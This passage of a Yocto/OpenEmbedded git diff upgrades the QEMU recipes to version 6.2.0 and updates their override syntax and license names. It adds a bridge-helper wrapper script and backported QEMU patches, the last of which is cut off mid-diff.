-RDEPENDS_${PN}-ptest = "${PN}-modules ${PN}-tests unzip tzdata-europe coreutils sed"
-RDEPENDS_${PN}-tkinter += "${@bb.utils.contains('PACKAGECONFIG', 'tk', 'tk tk-lib', '', d)}"
-# catch manpage
-PACKAGES += "${PN}-man"
-FILES_${PN}-man = "${datadir}/man"
-
-# Nasty but if bdb isn't enabled the package won't be generated
-RDEPENDS_${PN}-modules_remove = "${@bb.utils.contains('PACKAGECONFIG', 'bdb', '', '${PN}-bsddb', d)}"
-
-RDEPENDS_${PN}-dev = ""
-
-BBCLASSEXTEND = "nativesdk"
-
-# We want bytecode precompiled .py files (.pyc's) by default
-# but the user may set it on their own conf
-
-INCLUDE_PYCS ?= "1"
-
-python(){
- import collections, json
-
- filename = os.path.join(d.getVar('THISDIR'), 'python', 'python2-manifest.json')
- # This python changes the datastore based on the contents of a file, so mark
- # that dependency.
- bb.parse.mark_dependency(d, filename)
-
- with open(filename) as manifest_file:
- manifest_str = manifest_file.read()
- json_start = manifest_str.find('# EOC') + 6
- manifest_file.seek(json_start)
- manifest_str = manifest_file.read()
- python_manifest = json.loads(manifest_str, object_pairs_hook=collections.OrderedDict)
-
- include_pycs = d.getVar('INCLUDE_PYCS')
-
- packages = d.getVar('PACKAGES').split()
- pn = d.getVar('PN')
-
- newpackages=[]
-
- for key in python_manifest:
- pypackage= pn + '-' + key
-
- if pypackage not in packages:
- # We need to prepend, otherwise python-misc gets everything
- # so we use a new variable
- newpackages.append(pypackage)
-
- # "Build" python's manifest FILES, RDEPENDS and SUMMARY
- d.setVar('FILES_' + pypackage, '')
- for value in python_manifest[key]['files']:
- d.appendVar('FILES_' + pypackage, ' ' + value)
- if include_pycs == '1':
- if value.endswith('.py'):
- d.appendVar('FILES_' + pypackage, ' ' + value + 'c')
-
- for value in python_manifest[key]['rdepends']:
- # Make it work with or without $PN
- if '${PN}' in value:
- value=value.split('-')[1]
- d.appendVar('RDEPENDS_' + pypackage, ' ' + pn + '-' + value)
- d.setVar('SUMMARY_' + pypackage, python_manifest[key]['summary'])
-
- # Prepending so to avoid python-misc getting everything
- packages = newpackages + packages
- d.setVar('PACKAGES', ' '.join(packages))
- d.setVar('ALLOW_EMPTY_${PN}-modules', '1')
-}
-
-# Files needed to create a new manifest
-SRC_URI += "file://create_manifest2.py file://get_module_deps2.py file://python2-manifest.json"
-
-do_create_manifest() {
- # This task should be run with every new release of Python.
- # We must ensure that PACKAGECONFIG enables everything when creating
- # a new manifest, this is to base our new manifest on a complete
- # native python build, containing all dependencies, otherwise the task
- # wont be able to find the required files.
- # e.g. BerkeleyDB is an optional build dependency so it may or may not
- # be present, we must ensure it is.
-
- cd ${WORKDIR}
- # This needs to be executed by python-native and NOT by HOST's python
- nativepython create_manifest2.py
- cp python2-manifest.json.new ${THISDIR}/python/python2-manifest.json
-}
-
-# bitbake python -c create_manifest
-addtask do_create_manifest
-
-# Make sure we have native python ready when we create a new manifest
-do_create_manifest[depends] += "python:do_prepare_recipe_sysroot"
-do_create_manifest[depends] += "python:do_patch"
diff --git a/meta/recipes-devtools/qemu/nativesdk-qemu-helper_1.0.bb b/meta/recipes-devtools/qemu/nativesdk-qemu-helper_1.0.bb
index ca1ad964dc..abba7fe159 100644
--- a/meta/recipes-devtools/qemu/nativesdk-qemu-helper_1.0.bb
+++ b/meta/recipes-devtools/qemu/nativesdk-qemu-helper_1.0.bb
@@ -1,6 +1,6 @@
SUMMARY = "Qemu helper scripts"
-LICENSE = "GPLv2"
-RDEPENDS_${PN} = "nativesdk-qemu \
+LICENSE = "GPL-2.0-only"
+RDEPENDS:${PN} = "nativesdk-qemu \
nativesdk-python3-shell nativesdk-python3-fcntl nativesdk-python3-logging \
"
diff --git a/meta/recipes-devtools/qemu/qemu-helper-native_1.0.bb b/meta/recipes-devtools/qemu/qemu-helper-native_1.0.bb
index 372eebd886..aa9e499c77 100644
--- a/meta/recipes-devtools/qemu/qemu-helper-native_1.0.bb
+++ b/meta/recipes-devtools/qemu/qemu-helper-native_1.0.bb
@@ -1,11 +1,14 @@
SUMMARY = "Helper utilities needed by the runqemu script"
-LICENSE = "GPLv2"
-RDEPENDS_${PN} = "qemu-system-native"
+LICENSE = "GPL-2.0-only"
+RDEPENDS:${PN} = "qemu-system-native"
PR = "r1"
LIC_FILES_CHKSUM = "file://${WORKDIR}/tunctl.c;endline=4;md5=ff3a09996bc5fff6bc5d4e0b4c28f999"
-SRC_URI = "file://tunctl.c"
+SRC_URI = "\
+ file://tunctl.c \
+ file://qemu-oe-bridge-helper \
+ "
S = "${WORKDIR}"
@@ -18,6 +21,8 @@ do_compile() {
do_install() {
install -d ${D}${bindir}
install tunctl ${D}${bindir}/
+
+ install -m 755 ${WORKDIR}/qemu-oe-bridge-helper ${D}${bindir}/
}
DEPENDS += "qemu-system-native"
diff --git a/meta/recipes-devtools/qemu/qemu-helper/qemu-oe-bridge-helper b/meta/recipes-devtools/qemu/qemu-helper/qemu-oe-bridge-helper
new file mode 100755
index 0000000000..f057d4eef0
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu-helper/qemu-oe-bridge-helper
@@ -0,0 +1,25 @@
+#! /bin/sh
+# Copyright 2020 Garmin Ltd. or its subsidiaries
+#
+# SPDX-License-Identifier: GPL-2.0
+#
+# Attempts to find and exec the host qemu-bridge-helper program
+
+# If the QEMU_BRIDGE_HELPER variable is set by the user, exec it.
+if [ -n "$QEMU_BRIDGE_HELPER" ]; then
+ exec "$QEMU_BRIDGE_HELPER" "$@"
+fi
+
+# Search common paths for the helper program
+BN="qemu-bridge-helper"
+PATHS="/usr/libexec/ /usr/lib/qemu/"
+
+for p in $PATHS; do
+ if [ -e "$p/$BN" ]; then
+ exec "$p/$BN" "$@"
+ fi
+done
+
+echo "$BN not found!" > /dev/stderr
+exit 1
+
diff --git a/meta/recipes-devtools/qemu/qemu-native.inc b/meta/recipes-devtools/qemu/qemu-native.inc
index 69c2c43e6b..d9acc613f9 100644
--- a/meta/recipes-devtools/qemu/qemu-native.inc
+++ b/meta/recipes-devtools/qemu/qemu-native.inc
@@ -1,16 +1,7 @@
-inherit native
-
require qemu.inc
-SRC_URI_append = " \
- file://0010-fix-libcap-header-issue-on-some-distro.patch \
- file://0011-cpus.c-Add-error-messages-when-qemi_cpu_kick_thread-.patch \
- "
-
-EXTRA_OEMAKE_append = " LD='${LD}' AR='${AR}' OBJCOPY='${OBJCOPY}' LDFLAGS='${LDFLAGS}'"
+inherit native
-LDFLAGS_append = " -fuse-ld=bfd"
+EXTRA_OEMAKE:append = " LD='${LD}' AR='${AR}' OBJCOPY='${OBJCOPY}' LDFLAGS='${LDFLAGS}'"
-do_install_append() {
- ${@bb.utils.contains('PACKAGECONFIG', 'gtk+', 'make_qemu_wrapper', '', d)}
-}
+LDFLAGS:append = " -fuse-ld=bfd"
diff --git a/meta/recipes-devtools/qemu/qemu-native_4.1.0.bb b/meta/recipes-devtools/qemu/qemu-native_4.1.0.bb
deleted file mode 100644
index c8acff8e19..0000000000
--- a/meta/recipes-devtools/qemu/qemu-native_4.1.0.bb
+++ /dev/null
@@ -1,9 +0,0 @@
-BPN = "qemu"
-
-DEPENDS = "glib-2.0-native zlib-native"
-
-require qemu-native.inc
-
-EXTRA_OECONF_append = " --target-list=${@get_qemu_usermode_target_list(d)} --disable-tools --disable-blobs --disable-guest-agent"
-
-PACKAGECONFIG ??= ""
diff --git a/meta/recipes-devtools/qemu/qemu-native_6.2.0.bb b/meta/recipes-devtools/qemu/qemu-native_6.2.0.bb
new file mode 100644
index 0000000000..a94dc0b61e
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu-native_6.2.0.bb
@@ -0,0 +1,9 @@
+BPN = "qemu"
+
+DEPENDS = "glib-2.0-native zlib-native ninja-native meson-native"
+
+require qemu-native.inc
+
+EXTRA_OECONF:append = " --target-list=${@get_qemu_usermode_target_list(d)} --disable-tools --disable-blobs --disable-guest-agent"
+
+PACKAGECONFIG ??= "pie"
diff --git a/meta/recipes-devtools/qemu/qemu-system-native_4.1.0.bb b/meta/recipes-devtools/qemu/qemu-system-native_4.1.0.bb
deleted file mode 100644
index d83ee59375..0000000000
--- a/meta/recipes-devtools/qemu/qemu-system-native_4.1.0.bb
+++ /dev/null
@@ -1,24 +0,0 @@
-BPN = "qemu"
-
-require qemu-native.inc
-
-# As some of the files installed by qemu-native and qemu-system-native
-# are the same, we depend on qemu-native to get the full installation set
-# and avoid file clashes
-DEPENDS = "glib-2.0-native zlib-native pixman-native qemu-native bison-native"
-
-EXTRA_OECONF_append = " --target-list=${@get_qemu_system_target_list(d)}"
-
-PACKAGECONFIG ??= "fdt alsa kvm"
-
-# Handle distros such as CentOS 5 32-bit that do not have kvm support
-PACKAGECONFIG_remove = "${@'kvm' if not os.path.exists('/usr/include/linux/kvm.h') else ''}"
-
-do_install_append() {
- install -Dm 0755 ${WORKDIR}/powerpc_rom.bin ${D}${datadir}/qemu
-
- # The following is also installed by qemu-native
- rm -f ${D}${datadir}/qemu/trace-events-all
- rm -rf ${D}${datadir}/qemu/keymaps
- rm -rf ${D}${datadir}/icons/
-}
diff --git a/meta/recipes-devtools/qemu/qemu-system-native_6.2.0.bb b/meta/recipes-devtools/qemu/qemu-system-native_6.2.0.bb
new file mode 100644
index 0000000000..b544ab4e81
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu-system-native_6.2.0.bb
@@ -0,0 +1,32 @@
+BPN = "qemu"
+
+inherit python3-dir
+
+require qemu-native.inc
+
+# As some of the files installed by qemu-native and qemu-system-native
+# are the same, we depend on qemu-native to get the full installation set
+# and avoid file clashes
+DEPENDS = "glib-2.0-native zlib-native pixman-native qemu-native bison-native meson-native ninja-native"
+
+EXTRA_OECONF:append = " --target-list=${@get_qemu_system_target_list(d)}"
+
+PACKAGECONFIG ??= "fdt alsa kvm pie \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'virglrenderer glx', '', d)} \
+"
+
+# Handle distros such as CentOS 5 32-bit that do not have kvm support
+PACKAGECONFIG:remove = "${@'kvm' if not os.path.exists('/usr/include/linux/kvm.h') else ''}"
+
+do_install:append() {
+ install -Dm 0755 ${WORKDIR}/powerpc_rom.bin ${D}${datadir}/qemu
+
+ # The following is also installed by qemu-native
+ rm -f ${D}${datadir}/qemu/trace-events-all
+ rm -rf ${D}${datadir}/qemu/keymaps
+ rm -rf ${D}${datadir}/icons/
+ rm -rf ${D}${includedir}/qemu-plugin.h
+
+ # Install qmp.py to be used with testimage
+ install -D ${S}/python/qemu/qmp/__init__.py ${D}${libdir}/qemu-python/qmp.py
+}
diff --git a/meta/recipes-devtools/qemu/qemu-targets.inc b/meta/recipes-devtools/qemu/qemu-targets.inc
index 8184ef5781..24f9a03948 100644
--- a/meta/recipes-devtools/qemu/qemu-targets.inc
+++ b/meta/recipes-devtools/qemu/qemu-targets.inc
@@ -13,7 +13,7 @@ def get_qemu_target_list(d):
softmmuonly += arch + "-softmmu,"
archs.remove(arch)
linuxuseronly = ""
- for arch in ['armeb', 'alpha', 'ppc64abi32', 'sparc32plus', 'aarch64_be']:
+ for arch in ['armeb', 'alpha', 'ppc64abi32', 'ppc64le', 'sparc32plus', 'aarch64_be']:
if arch in archs:
linuxuseronly += arch + "-linux-user,"
archs.remove(arch)
diff --git a/meta/recipes-devtools/qemu/qemu.inc b/meta/recipes-devtools/qemu/qemu.inc
index 601fc2286b..de3320aef3 100644
--- a/meta/recipes-devtools/qemu/qemu.inc
+++ b/meta/recipes-devtools/qemu/qemu.inc
@@ -4,12 +4,12 @@ machine's processor through dynamic binary translation and provides a set \
of different hardware and device models for the machine, enabling it to run \
a variety of guest operating systems"
HOMEPAGE = "http://qemu.org"
-LICENSE = "GPLv2 & LGPLv2.1"
+LICENSE = "GPL-2.0-only & LGPL-2.1-only"
-RDEPENDS_${PN}-ptest = "bash make"
+RDEPENDS:${PN}-ptest = "bash"
require qemu-targets.inc
-inherit pkgconfig ptest
+inherit pkgconfig ptest python3-dir
LIC_FILES_CHKSUM = "file://COPYING;md5=441c28d2cf86e15a37fa47e15a72fbac \
file://COPYING.LIB;endline=24;md5=8c5efda6cf1e1b03dcfd0e6c0d271c7f"
@@ -18,47 +18,65 @@ SRC_URI = "https://download.qemu.org/${BPN}-${PV}.tar.xz \
file://powerpc_rom.bin \
file://run-ptest \
file://0001-qemu-Add-missing-wacom-HID-descriptor.patch \
- file://0002-Add-subpackage-ptest-which-runs-all-unit-test-cases-.patch \
file://0003-qemu-Add-addition-environment-space-to-boot-loader-q.patch \
- file://0004-qemu-disable-Valgrind.patch \
- file://0005-qemu-native-set-ld.bfd-fix-cflags-and-set-some-envir.patch \
file://0006-chardev-connect-socket-to-a-spawned-command.patch \
file://0007-apic-fixup-fallthrough-to-PIC.patch \
- file://0008-linux-user-Fix-webkitgtk-hangs-on-32-bit-x86-target.patch \
- file://0009-Fix-webkitgtk-builds.patch \
file://0010-configure-Add-pkg-config-handling-for-libgcrypt.patch \
- file://CVE-2019-15890.patch \
- file://CVE-2019-12068.patch \
+ file://0001-qemu-Do-not-include-file-if-not-exists.patch \
+ file://mmap2.patch \
+ file://determinism.patch \
+ file://0001-tests-meson.build-use-relative-path-to-refer-to-file.patch \
+ file://0001-riscv-Set-5.4-as-minimum-kernel-version-for-riscv32.patch \
+ file://0001-acpi-tpm-Add-missing-device-identification-objects.patch \
+ file://0001-ppc-Include-asm-ptrace.h-for-pt_regs-struct-definiti.patch \
"
UPSTREAM_CHECK_REGEX = "qemu-(?P<pver>\d+(\.\d+)+)\.tar"
-SRC_URI[md5sum] = "cdf2b5ca52b9abac9bacb5842fa420f8"
-SRC_URI[sha256sum] = "656e60218689bdeec69903087fd7582d5d3e72238d02f4481d8dc6d79fd909c6"
+SRC_URI[sha256sum] = "68e15d8e45ac56326e0b9a4afa8b49a3dfe8aba3488221d098c84698bca65b45"
-COMPATIBLE_HOST_mipsarchn32 = "null"
-COMPATIBLE_HOST_mipsarchn64 = "null"
+SRC_URI:append:class-target = " file://cross.patch"
+SRC_URI:append:class-nativesdk = " file://cross.patch"
-do_install_append() {
+# Applies against virglrender < 0.6.0 and not qemu itself
+CVE_CHECK_IGNORE += "CVE-2017-5957"
+
+# The VNC server can expose host files uder some circumstances. We don't
+# enable it by default.
+CVE_CHECK_IGNORE += "CVE-2007-0998"
+
+# 'The issues identified by this CVE were determined to not constitute a vulnerability.'
+# https://bugzilla.redhat.com/show_bug.cgi?id=1609015#c11
+CVE_CHECK_IGNORE += "CVE-2018-18438"
+
+COMPATIBLE_HOST:mipsarchn32 = "null"
+COMPATIBLE_HOST:mipsarchn64 = "null"
+COMPATIBLE_HOST:riscv32 = "null"
+
+# Per https://lists.nongnu.org/archive/html/qemu-devel/2020-09/msg03873.html
+# upstream states qemu doesn't work without optimization
+DEBUG_BUILD = "0"
+
+do_install:append() {
# Prevent QA warnings about installed ${localstatedir}/run
if [ -d ${D}${localstatedir}/run ]; then rmdir ${D}${localstatedir}/run; fi
}
-do_compile_ptest() {
- make buildtest-TESTS
-}
-
do_install_ptest() {
cp -rL ${B}/tests ${D}${PTEST_PATH}
- find ${D}${PTEST_PATH}/tests -type f -name "*.[Sshcod]" | xargs -i rm -rf {}
+ find ${D}${PTEST_PATH}/tests -type f -name "*.[Sshcodp]" | xargs -i rm -rf {}
- cp ${S}/tests/Makefile.include ${D}${PTEST_PATH}/tests
# Don't check the file genreated by configure
- sed -i -e '/wildcard config-host.mak/d' \
- -e '$ {/endif/d}' ${D}${PTEST_PATH}/tests/Makefile.include
+ sed -i -e "1s,#!/usr/bin/bash,#!${base_bindir}/bash," ${D}${PTEST_PATH}/tests/data/acpi/disassemle-aml.sh
+
+ # Strip the paths from the QEMU variable, we can use PATH
+ sed -i -e "s#^QEMU=.*/qemu-#QEMU=qemu-#g" ${D}${PTEST_PATH}/tests/tcg/*.mak
+
+ # Strip compiler flags as they break reproducibility
+ sed -i -e "s,CROSS_CC_GUEST=.*,CROSS_CC_GUEST=," ${D}${PTEST_PATH}/tests/tcg/*.mak
}
# QEMU_TARGETS is overridable variable
-QEMU_TARGETS ?= "arm aarch64 i386 mips mipsel mips64 mips64el ppc ppc64 riscv32 riscv64 sh4 x86_64"
+QEMU_TARGETS ?= "arm aarch64 i386 mips mipsel mips64 mips64el ppc ppc64 ppc64le riscv32 riscv64 sh4 x86_64"
EXTRA_OECONF = " \
--prefix=${prefix} \
@@ -71,20 +89,22 @@ EXTRA_OECONF = " \
--sysconfdir=${sysconfdir} \
--libexecdir=${libexecdir} \
--localstatedir=${localstatedir} \
- --with-confsuffix=/${BPN} \
+ --with-suffix=${BPN} \
--disable-strip \
--disable-werror \
--extra-cflags='${CFLAGS}' \
+ --extra-ldflags='${LDFLAGS}' \
+ --with-git=/bin/false \
+ --with-git-submodules=ignore \
+ --meson=meson \
${PACKAGECONFIG_CONFARGS} \
"
-export LIBTOOL="${HOST_SYS}-libtool"
-
B = "${WORKDIR}/build"
-EXTRA_OECONF_append = " --python=${HOSTTOOLS_DIR}/python3"
+#EXTRA_OECONF:append = " --python=${HOSTTOOLS_DIR}/python3"
-do_configure_prepend_class-native() {
+do_configure:prepend:class-native() {
# Append build host pkg-config paths for native target since the host may provide sdl
BHOST_PKGCONFIG_PATH=$(PATH=/usr/bin:/bin pkg-config --variable pc_path pkg-config || echo "")
if [ ! -z "$BHOST_PKGCONFIG_PATH" ]; then
@@ -93,7 +113,11 @@ do_configure_prepend_class-native() {
}
do_configure() {
- ${S}/configure ${EXTRA_OECONF}
+ # This is taken from meson.bbclass to avoid errors when updating to a
+ # new version of meson.
+ rmdir ${STAGING_LIBDIR_NATIVE}/${PYTHON_DIR}/site-packages/*.egg-info 2>/dev/null || :
+
+ ${S}/configure ${EXTRA_OECONF}
}
do_configure[cleandirs] += "${B}"
@@ -108,7 +132,7 @@ do_install () {
# This will trigger a MMU access fault in the virtual CPU. With this change,
# the qemu-mips works fine.
# IMPORTANT: This piece needs to be removed once the root cause is fixed!
-do_install_append() {
+do_install:append() {
if [ -e "${D}/${bindir}/qemu-mips" ]; then
create_wrapper ${D}/${bindir}/qemu-mips \
QEMU_RESERVED_VA=0x0
@@ -116,26 +140,15 @@ do_install_append() {
}
# END of qemu-mips workaround
-make_qemu_wrapper() {
- gdk_pixbuf_module_file=`pkg-config --variable=gdk_pixbuf_cache_file gdk-pixbuf-2.0`
-
- for tool in `ls ${D}${bindir}/qemu-system-*`; do
- create_wrapper $tool \
- GDK_PIXBUF_MODULE_FILE=$gdk_pixbuf_module_file \
- FONTCONFIG_PATH=/etc/fonts \
- GTK_THEME=Adwaita
- done
-}
-
# Disable kvm/virgl/mesa on targets that do not support it
-PACKAGECONFIG_remove_darwin = "kvm virglrenderer glx gtk+"
-PACKAGECONFIG_remove_mingw32 = "kvm virglrenderer glx gtk+"
+PACKAGECONFIG:remove:darwin = "kvm virglrenderer glx gtk+"
+PACKAGECONFIG:remove:mingw32 = "kvm virglrenderer glx gtk+"
PACKAGECONFIG[sdl] = "--enable-sdl,--disable-sdl,libsdl2"
-PACKAGECONFIG[virtfs] = "--enable-virtfs --enable-attr,--disable-virtfs,libcap attr,"
+PACKAGECONFIG[virtfs] = "--enable-virtfs --enable-attr --enable-cap-ng,--disable-virtfs,libcap-ng attr,"
PACKAGECONFIG[aio] = "--enable-linux-aio,--disable-linux-aio,libaio,"
PACKAGECONFIG[xfs] = "--enable-xfsctl,--disable-xfsctl,xfsprogs,"
-PACKAGECONFIG[xen] = "--enable-xen,--disable-xen,xen,xen-libxenstore xen-libxenctrl xen-libxenguest"
+PACKAGECONFIG[xen] = "--enable-xen,--disable-xen,xen-tools,xen-tools-libxenstore xen-tools-libxenctrl xen-tools-libxenguest"
PACKAGECONFIG[vnc-sasl] = "--enable-vnc --enable-vnc-sasl,--disable-vnc-sasl,cyrus-sasl,"
PACKAGECONFIG[vnc-jpeg] = "--enable-vnc --enable-vnc-jpeg,--disable-vnc-jpeg,jpeg,"
PACKAGECONFIG[vnc-png] = "--enable-vnc --enable-vnc-png,--disable-vnc-png,libpng,"
@@ -150,13 +163,12 @@ PACKAGECONFIG[gcrypt] = "--enable-gcrypt,--disable-gcrypt,libgcrypt,"
PACKAGECONFIG[nettle] = "--enable-nettle,--disable-nettle,nettle"
PACKAGECONFIG[libusb] = "--enable-libusb,--disable-libusb,libusb1"
PACKAGECONFIG[fdt] = "--enable-fdt,--disable-fdt,dtc"
-PACKAGECONFIG[alsa] = "--audio-drv-list='oss alsa',,alsa-lib"
-PACKAGECONFIG[glx] = "--enable-opengl,--disable-opengl,mesa"
+PACKAGECONFIG[alsa] = "--audio-drv-list=default,,alsa-lib"
+PACKAGECONFIG[glx] = "--enable-opengl,--disable-opengl,virtual/libgl"
PACKAGECONFIG[lzo] = "--enable-lzo,--disable-lzo,lzo"
PACKAGECONFIG[numa] = "--enable-numa,--disable-numa,numactl"
PACKAGECONFIG[gnutls] = "--enable-gnutls,--disable-gnutls,gnutls"
PACKAGECONFIG[bzip2] = "--enable-bzip2,--disable-bzip2,bzip2"
-PACKAGECONFIG[bluez] = "--enable-bluez,--disable-bluez,bluez5"
PACKAGECONFIG[libiscsi] = "--enable-libiscsi,--disable-libiscsi"
PACKAGECONFIG[kvm] = "--enable-kvm,--disable-kvm"
PACKAGECONFIG[virglrenderer] = "--enable-virglrenderer,--disable-virglrenderer,virglrenderer"
@@ -165,7 +177,22 @@ PACKAGECONFIG[spice] = "--enable-spice,--disable-spice,spice"
# usbredir will be in meta-networking layer
PACKAGECONFIG[usb-redir] = "--enable-usb-redir,--disable-usb-redir,usbredir"
PACKAGECONFIG[snappy] = "--enable-snappy,--disable-snappy,snappy"
-
-INSANE_SKIP_${PN} = "arch"
-
-FILES_${PN} += "${datadir}/icons"
+PACKAGECONFIG[glusterfs] = "--enable-glusterfs,--disable-glusterfs,glusterfs"
+PACKAGECONFIG[xkbcommon] = "--enable-xkbcommon,--disable-xkbcommon,libxkbcommon"
+PACKAGECONFIG[libudev] = "--enable-libudev,--disable-libudev,eudev"
+PACKAGECONFIG[libxml2] = "--enable-libxml2,--disable-libxml2,libxml2"
+PACKAGECONFIG[attr] = "--enable-attr,--disable-attr,attr,"
+PACKAGECONFIG[rbd] = "--enable-rbd,--disable-rbd,ceph,ceph"
+PACKAGECONFIG[vhost] = "--enable-vhost-net,--disable-vhost-net,,"
+PACKAGECONFIG[ust] = "--enable-trace-backend=ust,--enable-trace-backend=nop,lttng-ust,"
+PACKAGECONFIG[pie] = "--enable-pie,--disable-pie,,"
+PACKAGECONFIG[seccomp] = "--enable-seccomp,--disable-seccomp,libseccomp"
+# libnfs is currently provided by meta-kodi
+PACKAGECONFIG[libnfs] = "--enable-libnfs,--disable-libnfs,libnfs"
+PACKAGECONFIG[pmem] = "--enable-libpmem,--disable-libpmem,pmdk"
+PACKAGECONFIG[pulsedio] = "--enable-pa,--disable-pa,pulseaudio"
+PACKAGECONFIG[selinux] = "--enable-selinux,--disable-selinux"
+
+INSANE_SKIP:${PN} = "arch"
+
+FILES:${PN} += "${datadir}/icons"
diff --git a/meta/recipes-devtools/qemu/qemu/0001-acpi-tpm-Add-missing-device-identification-objects.patch b/meta/recipes-devtools/qemu/qemu/0001-acpi-tpm-Add-missing-device-identification-objects.patch
new file mode 100644
index 0000000000..ff91674879
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/0001-acpi-tpm-Add-missing-device-identification-objects.patch
@@ -0,0 +1,83 @@
+From 5903646d3913af6544680f6645fcb7296d0b3a1c Mon Sep 17 00:00:00 2001
+From: Stefan Berger <stefanb@linux.ibm.com>
+Date: Tue, 4 Jan 2022 12:58:05 -0500
+Subject: [PATCH] acpi: tpm: Add missing device identification objects
+
+Add missing TPM device identification objects _STR and _UID. They will
+appear as files 'description' and 'uid' under Linux sysfs.
+
+Following inspection of sysfs entries for hardware TPMs we chose
+uid '1'.
+
+Upstream-Status: Backport [5903646d3913af6544680f6645fcb7296d0b3a1c]
+
+Cc: Shannon Zhao <shannon.zhaosl@gmail.com>
+Cc: Michael S. Tsirkin <mst@redhat.com>
+Cc: Igor Mammedov <imammedo@redhat.com>
+Cc: Ani Sinha <ani@anisinha.ca>
+Resolves: https://gitlab.com/qemu-project/qemu/-/issues/708
+Signed-off-by: Stefan Berger <stefanb@linux.ibm.com>
+Reviewed-by: Ani Sinha <ani@anisinha.ca>
+Reviewed-by: Shannon Zhao <shannon.zhaosl@gmail.com>
+Message-id: 20211223022310.575496-3-stefanb@linux.ibm.com
+Message-Id: <20220104175806.872996-3-stefanb@linux.ibm.com>
+Reviewed-by: Michael S. Tsirkin <mst@redhat.com>
+Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
+Reviewed-by: Igor Mammedov <imammedo@redhat.com>
+Signed-off-by: Liwei Song <liwei.song@windriver.com>
+---
+ hw/arm/virt-acpi-build.c | 1 +
+ hw/i386/acpi-build.c | 7 +++++++
+ 2 files changed, 8 insertions(+)
+
+diff --git a/hw/arm/virt-acpi-build.c b/hw/arm/virt-acpi-build.c
+index d0f4867fdfe5..f2514ce77c0b 100644
+--- a/hw/arm/virt-acpi-build.c
++++ b/hw/arm/virt-acpi-build.c
+@@ -229,6 +229,7 @@ static void acpi_dsdt_add_tpm(Aml *scope, VirtMachineState *vms)
+
+ Aml *dev = aml_device("TPM0");
+ aml_append(dev, aml_name_decl("_HID", aml_string("MSFT0101")));
++ aml_append(dev, aml_name_decl("_STR", aml_string("TPM 2.0 Device")));
+ aml_append(dev, aml_name_decl("_UID", aml_int(0)));
+
+ Aml *crs = aml_resource_template();
+diff --git a/hw/i386/acpi-build.c b/hw/i386/acpi-build.c
+index 0234fe7588b7..ce823e8fcb97 100644
+--- a/hw/i386/acpi-build.c
++++ b/hw/i386/acpi-build.c
+@@ -1812,11 +1812,15 @@ build_dsdt(GArray *table_data, BIOSLinker *linker,
+ dev = aml_device("TPM");
+ aml_append(dev, aml_name_decl("_HID",
+ aml_string("MSFT0101")));
++ aml_append(dev,
++ aml_name_decl("_STR",
++ aml_string("TPM 2.0 Device")));
+ } else {
+ dev = aml_device("ISA.TPM");
+ aml_append(dev, aml_name_decl("_HID",
+ aml_eisaid("PNP0C31")));
+ }
++ aml_append(dev, aml_name_decl("_UID", aml_int(1)));
+
+ aml_append(dev, aml_name_decl("_STA", aml_int(0xF)));
+ crs = aml_resource_template();
+@@ -1844,12 +1848,15 @@ build_dsdt(GArray *table_data, BIOSLinker *linker,
+ if (TPM_IS_CRB(tpm)) {
+ dev = aml_device("TPM");
+ aml_append(dev, aml_name_decl("_HID", aml_string("MSFT0101")));
++ aml_append(dev, aml_name_decl("_STR",
++ aml_string("TPM 2.0 Device")));
+ crs = aml_resource_template();
+ aml_append(crs, aml_memory32_fixed(TPM_CRB_ADDR_BASE,
+ TPM_CRB_ADDR_SIZE, AML_READ_WRITE));
+ aml_append(dev, aml_name_decl("_CRS", crs));
+
+ aml_append(dev, aml_name_decl("_STA", aml_int(0xf)));
++ aml_append(dev, aml_name_decl("_UID", aml_int(1)));
+
+ tpm_build_ppi_acpi(tpm, dev);
+
+--
+2.17.1
+
diff --git a/meta/recipes-devtools/qemu/qemu/0001-ppc-Include-asm-ptrace.h-for-pt_regs-struct-definiti.patch b/meta/recipes-devtools/qemu/qemu/0001-ppc-Include-asm-ptrace.h-for-pt_regs-struct-definiti.patch
new file mode 100644
index 0000000000..e8e42007df
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/0001-ppc-Include-asm-ptrace.h-for-pt_regs-struct-definiti.patch
@@ -0,0 +1,92 @@
+From 91e15627fd05d5a59fd2b88bc5c3491d3e0b56b0 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 14 Mar 2022 09:58:21 -0700
+Subject: [PATCH] ppc: Include asm/ptrace.h for pt_regs struct definition
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+Fixes
+../qemu-6.2.0/linux-user/host/ppc64/../ppc/host-signal.h:16:32: error: incomplete definition of type 'struct pt_regs'
+ return uc->uc_mcontext.regs->nip;
+ ~~~~~~~~~~~~~~~~~~~~^
+
+Upstream-Status: Submitted [https://patchwork.kernel.org/project/qemu-devel/patch/20220314170223.554679-1-raj.khem@gmail.com/]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Cc: Peter Maydell <peter.maydell@linaro.org>
+Cc: Philippe Mathieu-Daudé <f4bug@amsat.org>
+Cc: Richard Henderson <richard.henderson@linaro.org>
+---
+ linux-user/include/host/ppc/host-signal.h | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+--- a/linux-user/host/ppc/host-signal.h
++++ /dev/null
+@@ -1,30 +0,0 @@
+-/*
+- * host-signal.h: signal info dependent on the host architecture
+- *
+- * Copyright (c) 2003-2005 Fabrice Bellard
+- * Copyright (c) 2021 Linaro Limited
+- *
+- * This work is licensed under the terms of the GNU LGPL, version 2.1 or later.
+- * See the COPYING file in the top-level directory.
+- */
+-
+-#ifndef PPC_HOST_SIGNAL_H
+-#define PPC_HOST_SIGNAL_H
+-
+-static inline uintptr_t host_signal_pc(ucontext_t *uc)
+-{
+- return uc->uc_mcontext.regs->nip;
+-}
+-
+-static inline void host_signal_set_pc(ucontext_t *uc, uintptr_t pc)
+-{
+- uc->uc_mcontext.regs->nip = pc;
+-}
+-
+-static inline bool host_signal_write(siginfo_t *info, ucontext_t *uc)
+-{
+- return uc->uc_mcontext.regs->trap != 0x400
+- && (uc->uc_mcontext.regs->dsisr & 0x02000000);
+-}
+-
+-#endif
+--- a/linux-user/host/ppc64/host-signal.h
++++ b/linux-user/host/ppc64/host-signal.h
